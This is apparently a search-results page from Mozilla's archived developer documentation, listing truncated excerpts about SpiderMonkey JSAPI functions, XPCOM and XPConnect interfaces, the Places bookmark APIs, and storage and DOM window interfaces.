JavaScript debuggers. It also means that applications that implement JSCheckAccessOp or JSCheckAccessIdOp in terms of APIs such as JS_FrameIterator and JS_StackFramePrincipals, must take extra care, as the native function's principals will be missing from the stack. See Also MXR ID Search for JSNative JS::CallArgs JS_ReportError JS_ReportOutOfMemory JS_SetPendingException ...
JSObjectOps.defaultValue
Syntax typedef JSBool (*JSConvertOp)(JSContext *cx, JSObject *obj, JSType type, jsval *vp); Name Type Description cx JSContext * Pointer to the JS context in which the conversion is needed. ...
...5This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Warning! JSObjectOps is not a supported API. Details of the API may change from one release to the next. This documentation should be considered SpiderMonkey internals documentation, not API documentation. See bug 408416 for details. The
JavaScript engine calls the JSObjectOps.defaultValue and JSClass.convert callbacks to convert objects to primitive values. Syntax typedef JSBool (*JSConvertOp)(JSContext *cx, JSObject *obj, JSType type, jsval *vp); Name Type Description cx JSContext * Pointer to the JS context in which the conversion is needed. obj JSObject * The object to be converted. ...
...ust store the converted value here. Description The JSObjectOps.defaultValue callback corresponds to the [[DefaultValue]] method defined in ECMA 262-3 ?8.6.2.6. Many expressions in the ECMAScript language, such as a+b, involve implicit conversion of the operands using [[DefaultValue]]. The default [[DefaultValue]] behavior for ordinary objects is as described in ES5 ?8.12.8. It calls the
JavaScript methods obj.valueOf() and/or obj.toString(). Provide a custom JSObjectOps.defaultValue callback to implement customized [[DefaultValue]] behavior. The JSClass.convert callback should convert obj to the given type, returning JS_TRUE with the resulting value in *vp on success, and returning JS_FALSE on error or exception. On success, *vp must be a primitive value: per ES5 ?8.12.8, every object "mu...
JSPropertyDescriptor
owing key values Field Name Description getter The get syntax binds an object property to a function that will be called when that property is looked up. setter The set syntax binds an object property to a function to be called when there is an attempt to set that property. value Describes the value of the specified property, which can be any valid
Javascript value (function, object, string...) configurable Declare that the property can be modified and deleted enumerable Declare that the property can be enumerated, and the enumerable genus can be traversed by the for...in loop. writable Declare whether the specified attribute can be rewritten Description A descriptor is a property that describes an object's ...
...es an object's properties. There are two main types of property descriptors that exist in an object: a data descriptor and an access descriptor. You can use the Object.getOwnPropertyDescriptor() function to get the corresponding property of an object. Descriptor. ...
... In other words, the above code is equivalent to the following code. ...
JS_DefinePropertyWithTinyId
ription JS_DefinePropertyWithTinyId defines an object property with a tiny id. JS_DefineUCPropertyWithTinyId is the Unicode version of the function. Except for the tinyid parameter, these functions behave exactly as JS_DefineProperty and JS_DefineUCProperty. See those functions for more details. tinyid is a signed 8-bit integer that affects the id value passed to certain callbacks. ...
... Tiny ids are helpful for getters and setters that are shared by several different properties. Those getters and setters can use switch (JSVAL_TO_INT(id)), instead of checking the value of id as a string, to determine which property is being accessed. ...
...ny ids are helpful for getters and setters that are shared by several different properties. Those getters and setters can use switch (JSVAL_TO_INT(id)), instead of checking the value of id as a string, to determine which property is being accessed. However, tiny ids can cause confusion when used with JSClass callbacks. For example, if a property named "color" is defined with tiny id 10, then the
JavaScript expressions obj[10] and obj.color will both result in INT_TO_JSVAL(10) being passed to JSClass.getProperty as the id parameter. Per-property getters and setters do not suffer from this confusion: in the above example, obj.color would cause the
JavaScript engine to call the getter for the color property, but obj[10] wouldn't. Traditionally, negative tiny ids are used to minimize the potential conf...
JS_GetStringBytes
Obsolete since JSAPI 1.8.5This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Convert a
JavaScript string to a C string. Syntax char * JS_GetStringBytes(JSString *str); const char * JS_GetStringBytesZ(JSContext *cx, JSString *str); // Added in JSAPI 1.8.2 Name Type Description cx JSContext * (JS_GetStringBytesZ and JS_EncodeString only) A context. str JSString * String to retrieve bytes from. Description JS_GetStringBytes and JS_GetStringBytesZ convert the specified
JavaScript string, str, to a C string (an array of 8-bit chars). If JS_CStringsAreUTF8 is true, then the returned string is UTF-8, and the conversion is lossless. Otherwise the ...
...urned string is UTF-8, and the conversion is lossless. Otherwise the high byte is simply dropped from each jschar. On success, the return value is a pointer to the char array, which is null-terminated. On failure, JS_GetStringBytes returns a pointer to a null-terminated empty string; JS_GetStringBytesZ returns NULL. Note: JS_GetStringBytes() and JS_GetStringBytesZ() have both been removed as of
JavaScript 1.8.5 (Firefox 4). Instead, you should use JS_EncodeString, JS_GetStringEncodingLength, JS_EncodeStringToBuffer. The array returned by JS_GetStringBytes or JS_GetStringBytesZ is automatically freed when str is finalized by the
JavaScript garbage collection mechanism. The application must not modify the contents of the array. Note that for non-ASCII strings, if JS_CStringsAreUTF8 is false, these f...
...urned by JS_GetStringBytes or JS_GetStringBytesZ is automatically freed when str is finalized by the
JavaScript garbage collection mechanism. The application must not modify the contents of the array. Note that for non-ASCII strings, if JS_CStringsAreUTF8 is false, these functions can return a corrupted copy of the contents of the string. Use JS_GetStringChars to access the 16-bit characters of a
JavaScript string without conversions or copying. See Also JS_EncodeString JS_EncodeStringToUTF8 JS_GetStringEncodingLength JS_EncodeStringToBuffer JS_CompareStrings JS_GetStringLength JS_ValueToString bug 607292 ...
JS_SetBranchCallback
Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Specifies a callback function that is automatically called when a script branches backward during execution, when a function returns, and at the end of the script. Replaced with JS_SetOperationCallback. Syntax JSBranchCallback JS_SetBranchCallback(JSContext *cx, JSBranchCallback cb); Name Type Description cx JSContext * The context to hook. cb JSBranchCallback Pointer to the callback function. ...
...yntax JSBool (*JSBranchCallback)(JSContext *cx, JSScript *script); Name Type Description cx JSContext * Pointer to a JSContext which the callback may use to call into JSAPI functions. For example, the callback my call JS_MaybeGC(cx). This is the context that is currently executing the code that triggered the callback. Provides request. In JS_THREADSAFE builds, the
JavaScript engine calls this callback only from within an active request on cx. The callback does not need to call JS_BeginRequest()). script JSScript The script that is running. This is guaranteed to be non-null, unless the JSOPTION_NATIVE_BRANCH_CALLBACK option has been enabled for the context cx using JS_SetOptions(). If the callback returns JS_TRUE, the JS engine continues to exec...
...equest()). script JSScript The script that is running. This is guaranteed to be non-null, unless the JSOPTION_NATIVE_BRANCH_CALLBACK option has been enabled for the context cx using JS_SetOptions(). If the callback returns JS_TRUE, the JS engine continues to execute the script. If the callback raises an exception using JS_SetPendingException() and returns JS_FALSE, then the
JavaScript engine propagates the exception to the script that was executing at the time. If the callback returns JS_FALSE without raising an exception, then the
JavaScript engine immediately stops running the script with an uncatchable error. The engine does not execute finally blocks in this case; this is the same behavior as any native method or callback. Description JS_SetBranchCallback specifies a ca...
JS_SetVersionForCompartment
The version comes from the JSVersion enumerated type. ...
...The version comes from the JSVersion enumerated type. ...
...The version comes from the JSVersion enumerated type. ...
JS_THREADSAFE
Note: JS_THREADSAFE is now permanently on. JS_THREADSAFE was a compile-time option that enables support for running multiple threads of
JavaScript code concurrently as long as no objects or strings are shared between them. We have recently made major changes to this feature. Until recently, sharing objects among threads would mostly work, although scripts could easily make it crash. We have now completely removed that feature. Each thread that uses the
JavaScript engine must essentially operate in a totally separate region of memory. Requests In a JS_THREADSAFE build, the application must separate code that uses the JSAPI from code that performs blocking I/O or time-consuming calculations. A request is a region of code that uses the JSAPI. Requests must be bracketed with calls to JS_Beg...
...n a JS_THREADSAFE build, the caller must be in a request on this JSContext. Most JSAPI callback functions are always called from within a request. These callbacks are (unreliably!) documented with the words "Provides request", like this: Name Type Description cx JSContext * The context in which the event ocurred. Provides request. In JS_THREADSAFE builds, the
JavaScript engine calls this callback only from within an active request on cx. The callback does not need to call JS_BeginRequest()). In particular, JSNative callbacks provide a request. This means that any potentially long-running operation in a native must be bracketed with calls to JS_SuspendRequest() and JS_ResumeRequest(). JSBool socket_recv(JSContext *cx, unsigned int argc, jsval *vp) { ...
...reads cannot safely share objects or strings. Instead, data must be copied when it is sent from one thread to another. Use JS_WriteStructuredClone to transform data into a flat array of bytes that can be safely written to disk, sent to another process or even another machine, or just passed to another thread. Then use JS_ReadStructuredClone on the other side to turn the serialized data back into
JavaScript objects, strings, and so on. Sharing native functions and private data among threads In a JS_THREADSAFE build, SpiderMonkey's internal data structures that represent
JavaScript values are single-thread-only. In a DEBUG build, this is enforced with assertions. However, SpiderMonkey does not protect the application's data structures. JSNatives and other callback functions can be called concurren...
JS_ValueToObject
On success, this function stores either NULL or a pointer to the resulting object in *objp and returns true. ...
... cx JSContext * The context in which to convert the value. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::HandleValue The value to convert. objp JS::MutableHandleObject Out parameter. On success, *objp receives NULL or a pointer to the resulting object. Description JS_ValueToObject converts a specified
JavaScript value, v, to an object. On success, this function stores either NULL or a pointer to the resulting object in *objp and returns true. Otherwise it returns false and the value left in *objp is unspecified. If v is JSVAL_NULL or JSVAL_VOID, the result is NULL. If v is a boolean value, a number, or a string, the result is a new wrapper object of type Boolean, Number, or String. Otherwise v is an ...
...r NULL or a pointer to the resulting object in *objp and returns true. Otherwise it returns false and the value left in *objp is unspecified. If v is JSVAL_NULL or JSVAL_VOID, the result is NULL. If v is a boolean value, a number, or a string, the result is a new wrapper object of type Boolean, Number, or String. Otherwise v is an object, and the result depends on the object. If v is a native
JavaScript Object, this calls the object's valueOf method, if any. In any case, the result is not guaranteed to be the same object as v. (Implementation note: the object's JSObjectOps.defaultValue method is called with hint=JSTYPE_OBJECT.) The resulting object is subject to garbage collection unless the variable *objp is protected by a local root scope, an object property, or the JS_AddRoot function. Note ...
Places Developer Guide
ent covers the toolkit Places services. However, Firefox developers can take advantage of several helper APIs that are browser-specific: FUEL - A collection of wrapper APIs for easing access to a number of Firefox utilities and services nsIPlacesTransactionsService - A Firefox service for modifying bookmarks in a transactional manner, providing facilities for undo/redo Places utilities for
JavaScript - Accessors and helper functions for Firefox and extensions Creating Bookmarks, Folders and Other Items Creating a Bookmark // create an nsIURI for the URL to be bookmarked. var bookmarkURI = Cc["@mozilla.org/network/io-service;1"] .getService(Ci.nsIIOService) .newURI("http://www.mozilla.com", null, null); var bookmarkId = bookmarks.insertBookmark( bookmark...
...as removed in Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11). Exporting: exportHTMLToFile (nsILocalFile aFile) - This exports all bookmarks in the toolbar, menu and unfiled bookmarks folders into the specified file. Backup/Restore The new bookmarks system uses the JSON format for storing backups of users' bookmarks. The APIs are available via the PlacesUtils API in the utils.js
Javascript module. var Ci = Components.interfaces; var Cc = Components.classes; var Cu = Components.utils; // Import PlacesUtils Cu.import("resource://gre/modules/PlacesUtils.jsm"); Cu.import("resource://gre/modules/Services.jsm"); // Create the backup file var jsonFile = Services.dirsvc.get("ProfD", Ci.nsILocalFile); jsonFile.append("bookmarks.json"); jsonFile.create(Ci.nsILocalFile.NORMAL_FILE_TYPE, 060...
...ar from_visit; try { // Here we can't use the "executeAsync" method since have to return a // result right-away. while (sql_stmt.executeStep()) { from_visit = sql_stmt.row.from_visit; } } finally { sql_stmt.reset(); } return from_visit; } Note: The <cdata><![CDATA[ xxx ]]></cdata>.toString() notation is E4X and it makes possible to write multi-line strings in
JavaScript. This is very useful when writing long SQL statements. Searching History Queries are executed through the history service. The example below shows how to search through browser history, and to iterate over the results. var history = Cc["@mozilla.org/browser/nav-history-service;1"] .getService(Ci.nsINavHistoryService); var query = history.getNewQuery(); // Specify terms to search f...
FUEL
We want to start with areas that will provide the most benefit. FUEL has a fuelIApplication interface that implements all the functions of extIApplication. ...
...We want to start with areas that will provide the most benefit. FUEL has a fuelIApplication interface that implements all the functions of extIApplication. The library has also been implemented in Thunderbird ("STEEL") and in SeaMonkey ("SMILE"). ...
...The object needs to be accessed like any other XPCOM service: var Application = Components.classes["@mozilla.org/fuel/application;1"].getService(Components.interfaces.fuelIApplication); ...
SMILE
We want to start with areas that will provide the most benefit. SMILE has a smileIApplication interface that implements all the functions of extIApplication. The library has also been implemented in Firefox ("FUEL") and in Thunderbird ("STEEL"). ...
...We want to start with areas that will provide the most benefit. SMILE has a smileIApplication interface that implements all the functions of extIApplication. The library has also been implemented in Firefox ("FUEL") and in Thunderbird ("STEEL"). ...
...d ("STEEL"). Objects extIApplication Objects extIConsole extIEventItem extIEventListener extIEvents extIExtension extIExtensions extIPreference extIPreferenceBranch extISessionStorage smileIApplication Objects smileIBookmarkRoots smileIWindow smileIBrowserTab smileIApplication XPCOM Although the extIApplication object is preloaded into XUL scripts, it is not preloaded into
JavaScript XPCOM code. The object needs to be accessed like any other XPCOM service: var Application = Components.classes["@mozilla.org/smile/application;1"].getService(Components.interfaces.smileIApplication); ...
XML Extras
The XML Extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds. ...
...ilds, passing strings to send() works only in chrome, see post.html sample. The "workaround" is to use DOMParser object's parseFromString() method to create a document from string, and pass the temporary document into send(). XMLHttpRequest.open("aHost") ok file:// documents can access http:// documents but you need to enable UniversalBrowserRead privilege in your scripts - see the
JavaScript Security: Signed Scripts document for more details. Normally your files should reside on a webserver so this shouldn't pose a problem (there you do not need that line either). Additionally, "foo.com:80" and "foo.com:313" are considered different hosts for security purposes. You cannot open a connection to a different host. DOMParser Creation not available new DOMParser() X...
...s. You cannot open a connection to a different host. DOMParser Creation not available new DOMParser() XMLSerializer Creation not available new XMLSerializer() Minimal documentation for the components listed above can be found using Mozilla documentation generated by Doxygen. File new bugs for additional documentation contributions, either specifically aimed at
JavaScript developers or to complete & clarify the JavaDoc-style comments in the IDL files. nsIDOMSerializer (Currently, the
JavaScript constructor is XMLSerializer()) nsIDOMParser (Currently, the
JavaScript constructor is DOMParser()) nsIXMLHttpRequest Please see the XML Linking and Pointing section in XML in Mozilla document for FIXptr and XPointer documentation. How can I help? Help with testi...
An Overview of XPCOM
e interface, which is crucial for interfaces used in the non C++ world. When components are accessed from other languages, as they can be in XPCOM, they use the binary type library to access the interface, learn what methods it supports, and call those methods. This aspect of XPCOM is called XPConnect. XPConnect is the layer of XPCOM that provides access to XPCOM components from languages such as
JavaScript. ...
...pe library to access the interface, learn what methods it supports, and call those methods. This aspect of XPCOM is called XPConnect. XPConnect is the layer of XPCOM that provides access to XPCOM components from languages such as
JavaScript. See Connecting to Components from the Interface for more information about XPConnect. When a component is accessible from a language other than C++, such as
JavaScript, its interface is said to be "reflected" into that language. Every reflected interface must have a corresponding type library. Currently you can write components in C, C++, or
JavaScript (and sometimes Python or Java, depending on the state of the respective bindings), and there are efforts underway to build XPCOM bindings for Ruby and Perl as well. Writing Components in Other Languages Though...
...ll. Writing Components in Other Languages Though you do not have access to some of the tools that XPCOM provides for C++ developers (such as macros, templates, smart pointers, and others) when you create components in other languages, you may be so comfortable with the language itself that you can eschew C++ altogether and build, for example, Python-based XPCOM components that can be used from
JavaScript or vice versa. See Resources for more information about Python and other languages for which support has been added in XPCOM. All of the public interfaces in XPCOM are defined using the XPIDL syntax. Type libraries and C++ header files are generated from these IDL files, and the tool that generates these files is called the xpidl compiler. The section Defining the WebLock Interface in XPIDL de...
Mozilla internal string guide
ng UTF-16 string. ACString nsACString 8-bit string. All bits are preserved across XPConnect boundaries. AUTF8String nsACString UTF-8 string. Converted to UTF-16 as necessary when value is used across XPConnect boundaries. DOMString nsAString UTF-16 string type used in the DOM. The same as AString with a few odd XPConnect exceptions: When the special
JavaScript value null is passed to a DOMString parameter of an XPCOM method, it becomes a void DOMString. The special
JavaScript value undefined becomes the string "undefined". C++ Signatures In IDL, in parameters are read-only, and the C++ signatures for *String parameters follows the above guidelines by using const nsAString& for these parameters. out and inout parameters are defined simply as nsA...
... Wrapping character buffers nsDependentString nsDependentCString Wrap const char* / const char16_t* buffers. Literal strings nsLiteralString nsLiteralCString Similar to nsDependent[C]String, but pre-calculates length at build time. Appendix B - nsAString Reference Read-only methods. Length() IsEmpty() IsVoid() - XPConnect will convert void nsAStrings to
JavaScript null. BeginReading(iterator) EndReading(iterator) Equals(string[, comparator]) First() Last() CountChar() Left(outstring, length) Mid(outstring, position, length) Right(outstring, length) FindChar(character) Methods that modify the string. Assign(string) Append(string) Insert(string) Cut(start, length) Replace(start, length, string) Truncate(length) SetIsVoid(true) - Make it ...
...tor) Equals(string[, comparator]) First() Last() CountChar() Left(outstring, length) Mid(outstring, position, length) Right(outstring, length) FindChar(character) Methods that modify the string. Assign(string) Append(string) Insert(string) Cut(start, length) Replace(start, length, string) Truncate(length) SetIsVoid(true) - Make it null. XPConnect will convert void nsAStrings to
JavaScript null. BeginWriting(iterator) EndWriting(iterator) SetCapacity() - Inform the string about buffer size need before a sequence of calls to Append() or converting appends that convert between UTF-16 and Latin1 in either direction. (Don't use if you use appends that convert between UTF-16 and UTF-8 in either direction.) Calling this method does not give you permission to use BeginWriting() to wri...
Components.Exception
See also nsIXPCException. ...
... See also nsIXPCException. ...
...in other developer-facing locations, defaulting to 'exception' result the nsresult value of the exception, which defaults to Components.results.NS_ERROR_FAILURE stack an XPCOM stack to be set on the exception (defaulting to the current stack chain) data any additional data you might want to store, defaulting to null Example throw Components.Exception("I am throwing an Exception from a
Javascript XPCOM component."); ...
Components.utils.forceGC
Components.utils.forceGC lets scripts force a garbage collection cycle. The Mozilla
JavaScript engine will perform garbage collection automatically when the
JavaScript heap grows beyond a certain size. This mechanism doesn't account for any native (C++) XPCOM objects hanging off
JavaScript objects though. In many cases a
JavaScript application will have internal knowledge of
JavaScript objects referencing large (trees of) XPCOM objects and know when they are no longer reachable. In this case it can be important to be able to force a garbage collection cycle from
JavaScript. Another instance where it can be useful to force garbage collection is before cleaning out dead reference from a hash of weak
JavaScript references. Users should note that garbage collection is a very expensive operation and sho...
...rce garbage collection is before cleaning out dead reference from a hash of weak
JavaScript references. Users should note that garbage collection is a very expensive operation and should only be forced when it is known to be absolutely necessary. Note: nsIDOMWindowUtils.garbageCollect() offers similar functionality but will trigger the cycle collector in addition to the garbage collector in the
JavaScript engine. This will make sure that XPCOM components that build cycles with
JavaScript objects also get collected which might be important, for example for testcases that depend on the garbage collector. Requires UniversalXPConnect privileges. ...
...he cycle collector in addition to the garbage collector in the
JavaScript engine. This will make sure that XPCOM components that build cycles with
JavaScript objects also get collected which might be important, for example for testcases that depend on the garbage collector. Requires UniversalXPConnect privileges. If you want to schedule garbage collection to occur in the future, at a time when no
JavaScript code is running, you can use Components.utils.schedulePreciseGC() instead. ...
Components.utils.reportError
This means you can use Components.utils.reportError to report debugging messages to the Error Console, just like dump() can be used to print messages to the native console. However you should use nsIConsoleService for logging, as it logs the messages with normal severity, unlike reportError. ...
...This means you can use Components.utils.reportError to report debugging messages to the Error Console, just like dump() can be used to print messages to the native console. However you should use nsIConsoleService for logging, as it logs the messages with normal severity, unlike reportError. ...
...rmal severity, unlike reportError. function myDump(aMessage) { var consoleService = Components.classes["@mozilla.org/consoleservice;1"] .getService(Components.interfaces.nsIConsoleService); consoleService.logStringMessage("My component: " + aMessage); } Firefox 3: The Error Console will not display chrome errors by default. To show them, set the preference '
javascript.options.showInConsole' to true, or use nsConsoleService instead to show a message. Firefox 4: The preference '
javascript.options.showInConsole' is set to true by default in this version. Examples Usage in an exception handler: try { this.could.raise.an.exception; } catch(e) { Components.utils.reportError(e); // report the error and continue execution } Sending debugging messages to the ...
Components.utils.schedulePreciseGC
Note: Garbage collection is a very expensive operation and should only be forced when it is known to be absolutely necessary. Requires chrome privileges. ...
... Note: Garbage collection is a very expensive operation and should only be forced when it is known to be absolutely necessary. Requires chrome privileges. ...
...is executed in once the scheduled garbage collection has been completed: Components.utils.schedulePreciseGC( function() { // This code is executed when the garbage collection has completed } ); Since the garbage collection doesn't occur until some time in the future (unlike, for example, Components.utils.forceGC(), which causes garbage collection immediately but isn't able to collect all
JavaScript-related memory), the callback lets you know when that's been finished. ...
XPConnect
Using components How to talk with XPCOM components. XPConnect and XPIDL FAQ A FAQ about using XPConnect and XPIDL. This page needs to migrate to MDN. ...
... Using components How to talk with XPCOM components. XPConnect and XPIDL FAQ A FAQ about using XPConnect and XPIDL. This page needs to migrate to MDN. ...
... Wrappers What sorts of wrappers XPConnect generates and uses XPConnect security membranes Tools xpcshell Join the XPCOM community Choose your preferred method for joining the discussion: Mailing list Newsgroup RSS feed IRC: #developers (learn more)Tools:
JavaScript Component Wizard, Visual C++ Component Wizard, Visual C++ Component Wizard for Visual Studio 2010 ...
mozIJSSubScriptLoader
js/xpconnect/idl/mozIJSSubScriptLoader.idlScriptable This interface can be used from privileged
JavaScript to load and run
JavaScript code from the given URL at runtime. 66 Introduced Gecko 1.0 Inherits from: nsISupports Last changed in Gecko 28 (Firefox 28 / Thunderbird 28 / SeaMonkey 2.25 / Firefox OS 1.3) Implemented by: @mozilla.org/moz/jssubscript-loader;1. To get this service, use: var mozIJSSubScriptLoader = Components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getService(Components.interfaces.mozIJSSubScriptLoader); Note: See Components.utils.import for another way to import
JavaScript code. Method overview jsval loadSubScript(in string url, in Object targetObj Optional, in string charset Optional); j...
...y top-level functions or variables created by the loaded script via var are created as properties of the targetObj target object (but things declared via let and const are NOT). Additionally, properties of the targetObj target object can be referred to as variables in the loaded script. If the script returns a value, it will be returned by this method. Note: This method must only be called from
JavaScript! jsval loadSubScript( in string url, in Object targetObj Optional, in string charset Optional, ); Example let context = {}; Services.scriptloader.loadSubScript("chrome://my-package/content/foo-script.js", context, "UTF-8" /* The script's encoding */); Parameters url The URL pointing to the script to load. It must be a local chrome:, resource: ...
... searched for variables that cannot be resolved in the subscript scope. charset An optional string to specify the character encoding of the file. If absent, the file is interpreted as ASCII. loadSubScriptWithOptions() Same as loadSubScript(), except that parameters after url are expressed as an object, and a new ignoreCache option is available. Note: This method must only be called from
JavaScript! jsval loadSubScriptWithOptions( in string url, in Object options ); Parameters url The URL pointing to the script to load. It must be a local chrome:, resource: or file: URL. options An object that may include any of these parameters: Property Type Description target object The object to use as the scope object for the script being executed...
mozIStorageConnection
hat opened the connection. beginTransaction() Starts a new transaction DEFERRED transaction. This is the same as calling mozIStorageConnection with mozIStorageConnection.TRANSACTION_DEFERRED. void beginTransaction(); Parameters None. beginTransactionAs() This method starts a new transaction of the given transaction type. See the SQLite documentation on transactions for more details. In
JavaScript, managing transactions can be difficult when you are using the same connection on different threads, or are using a combination of asynchronous and synchronous statement execution. The best way to deal with this is to only execute your statements asynchronously using mozIStorageConnection.executeAsync(). This method will manage the transactions for you, so you don't have to worry about them. Not...
...reateAsyncStatement() Creates a mozIStorageAsyncStatement for the given SQL expression. An asynchronous statement can only be used to dispatch asynchronous requests to the asynchronous execution thread and cannot be used to take any synchronous actions on the database. The expression may use "?#" to indicate sequentially numbered parameters (?1, ?2, etc) or ":name" to indicate named parameters.
JavaScript callers should use named parameters. mozIStorageAsyncStatement createAsyncStatement( in AUTF8String aSQLStatement ); Parameters aSQLStatement The SQL statement to execute. Return value Returns a new mozIStorageAsyncStatement to be used to execute the specified statement. createFunction() Creates a new function that can be used in SQL. See mozIStorageFunction for sample code and mo...
...en in SQL. aNumArguments The number of arguments the function takes. Pass -1 for variable-argument functions. aFunction The instance of mozIStorageFunction that implements the function. createStatement() Creates a mozIStorageStatement for the given SQL expression. The expression may use "?#" to indicate sequentially numbered parameters (?1, ?2, etc) or ":name" to indicate named parameters.
JavaScript callers should use named parameters. mozIStorageStatement createStatement( in AUTF8String aSQLStatement ); Parameters aSQLStatement The SQL statement to execute. Return value Returns a new mozIStorageStatement to be used to execute the specified statement. Note If the statement is meant to be executed asynchronously, you should rather create it with createAsyncStatement. The res...
mozIStorageStatement
Step(); boolean step(); void execute(); Attributes Attribute Type Description columnCount unsigned long Number of columns returned. Read only. parameterCount unsigned long Number of parameters. Read only. params mozIStorageStatementParams The current list of named parameters, which may be set. Only available to
JavaScript code. Read only. row mozIStorageStatementRow The current row, with access to all data members by name. Available only to
JavaScript code. Read only. state long The current state defined by mozIStorageStatement.MOZ_STORAGE_STATEMENT_INVALID, mozIStorageStatement.MOZ_STORAGE_STATEMENT_READY, or mozIStorageStatement.MOZ_STORAGE_STATEMENT_EXECUTING. Read only. S...
... specified index. getColumnIndex() Obtains the index of the column with the specified name. unsigned long getColumnIndex( in AUTF8String aName ); Parameters aName Name of the column. Return value The zero-based numerical index for the column to get data from. reset() Resets the bound parameters and statement execution state. This must be called before reusing the statement. Note:
JavaScript callers should always wrap their execution in a try block, and have a reset statement in a finally block. See the overview document on storage for more details. void reset() escapeStringForLIKE() Escapes a string for SQL LIKE search. Note: Consumers will have to use same escape char when doing statements such as: ...LIKE '?1' ESCAPE '/'.... See the sample code for more details. AString esc...
...view document. Note: The statement must be reset before being reused. boolean executeStep(); Return value Returns a boolean indicating whether there are more rows or not. Row data may be accessed using mozIStorageValueArray methods on the statement. step() Identical to calling executeStep(), and then calling reset() when no more rows are returned. Note: This method may only be called from
JavaScript code. boolean step() Return value true if there are more rows left in the results, otherwise false. execute() Execute the query, ignoring any results. This is accomplished by calling executeStep(), and then calling reset(). void execute(); See also Storage introduction and how-to article mozIStorageConnection Database connection to a specific file or in-memory data storage mozIStora...
nsIDOMWindow
localStorage nsIDOMStorage Local storage for the current browsing context. Data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place. Read only. Note: Prior to Gecko 8.0 this attribute was part of nsIDOMStorageWindow. name DOMString Get or set the name of this window. This attribute is "replaceable" in
JavaScript. parent nsIDOMWindow The window's parent window. If there is no parent window, or if the parent is of a different type, this is the current window. The window hierarchy does not cross chrome-content boundaries. Read only. scrollX long The current horizontal (x) scroll position, in pixels. This attribute is "replaceable" in
JavaScript. Read only. scrollY l...
...or if the parent is of a different type, this is the current window. The window hierarchy does not cross chrome-content boundaries. Read only. scrollX long The current horizontal (x) scroll position, in pixels. This attribute is "replaceable" in
JavaScript. Read only. scrollY long The current vertical (y) scroll position, in pixels. This attribute is "replaceable" in
JavaScript. Read only. scrollbars nsIDOMBarProp The object that controls whether or not scrollbars are shown in the window. This attribute is "replaceable" in
JavaScript. Read only. sessionStorage nsIDOMStorage Session storage for the current browsing context. Data stored in session storage may be accessed by any site in the browsing context. Read only.Note: Prior to Gecko 8.0 ...
...for implementations not supporting text zoom. 1.0 represents normal (unzoomed) size. Native code only! top nsIDOMWindow The root window for the hierarchy of windows that contain this nsIDOMWindow. This is the window itself if there is no parent, or if the parent is of a different type. The window hierarchy does not cross chrome-content boundaries. This attribute is "replaceable" in
JavaScript. Read only. windowRoot nsIDOMEventTarget The window root for this window. This is useful for connecting event listeners to this window as well as every other window nested in that window root. Read only. Native code only! Note: Prior to Gecko 7.0 this attribute was part of nsIDOMWindow2. Methods getComputedStyle() See dom-window-getcomputedstyle for details. nsIDOMCSSStyl...
nsIDOMWindowUtils
1 One of values of aAdditionalFlags of sendQueryContentEvent(). This flag must not be set with QUERY_CONTENT_FLAG_USE_NATIVE_LINE_BREAK. When this is set, the aOffset and aLength are offset and length in/of the content generated with XP line breaks (I.e., "\n" on all platforms). Additionally, the offset, length and string of result are also computed with XP line breaks. This is more useful for
Javascript in chrome. QUERY_CONTENT_FLAG_SELECTION_SPELLCHECK 0x0002 One of values of aAdditionalFlags of sendQueryContentEvent(). QUERY_CONTENT_FLAG_SELECTION_IME_RAWINPUT 0x0008 One of values of aAdditionalFlags of sendQueryContentEvent(). QUERY_CONTENT_FLAG_SELECTION_IME_SELECTEDRAWTEXT 0x0010 One of values of aAdditionalFlags of sendQueryContentEvent(). ...
...line breaks (E.g., "\r\n" on Windows) SELECTION_SET_FLAG_USE_XP_LINE_BREAK 0x0001 One of values of aAdditionalFlags of sendSelectionSetEvent(). This flag must not be set with SELECTION_SET_FLAG_USE_NATIVE_LINE_BREAK. When this is set, the aOffset and aLength are offset and length in/of the content generated with XP line breaks (I.e., "\n" on all platforms). This is more useful for
Javascript in chrome SELECTION_SET_FLAG_REVERSE 0x0002 One of values of aAdditionalFlags of sendSelectionSetEvent(). If this is set, the selection is set from aOffset + aLength to aOffset. SELECT_CHARACTER 0 SELECT_CLUSTER 1 SELECT_WORD 2 SELECT_LINE 3 SELECT_BEGINLINE 4 SELECT_ENDLINE 5 ...
.... window.setDisplayport()(x, y, oldW / 2.0, oldH / 2.0); window.setResolution(2.0, 2.0); // elsewhere browser.setViewportScale(2.0, 2.0); The caller of this method must have UniversalXPConnect privileges. void setResolution( in float aXResolution, in float aYResolution ); Parameters aXResolution aYResolution startPCCountProfiling() Begins detailed profiling of all executed
JavaScript code in the browser. This slows down
JavaScript execution, but accumulates information about what code has executed that may be queried after a call to stopPCCountProfiling(). void startPCCountProfiling(); Parameters None. stopPCCountProfiling() Stops profiling of executed
JavaScript code. Profile information about code that has executed since a preceding call to startPCCountProfiling(...
nsIXMLHttpRequestEventTarget
nt/base/public/nsIXMLHttpRequest.idlScriptable This interface provides access to the event listeners used when uploading data using the XMLHttpRequest object. ...
...ing data using the XMLHttpRequest object. 1.0 66 Introduced Gecko 1.9.1 Inherits from: nsIDOMEventTarget Last changed in Gecko 5.0 (Firefox 5.0 / Thunderbird 5.0 / SeaMonkey 2.2) Attributes Attribute Type Description onabort nsIDOMEventListener A
JavaScript function object that gets invoked if the operation is canceled by the user. onerror nsIDOMEventListener A
JavaScript function object that gets invoked if the operation fails to complete due to an error. onload nsIDOMEventListener A
JavaScript function object that gets invoked when the operation is successfully completed. onloadend nsIDOMEventListener A
JavaScript function object that gets invoked when the operation is completed for any reason; it will always follow a an abort, error, or load event. onloa...
...voked if the operation fails to complete due to an error. onload nsIDOMEventListener A
JavaScript function object that gets invoked when the operation is successfully completed. onloadend nsIDOMEventListener A
JavaScript function object that gets invoked when the operation is completed for any reason; it will always follow a an abort, error, or load event. onloadstart nsIDOMEventListener A
JavaScript function object that gets invoked exactly once when the operation begins. onprogress nsIDOMEventListener A
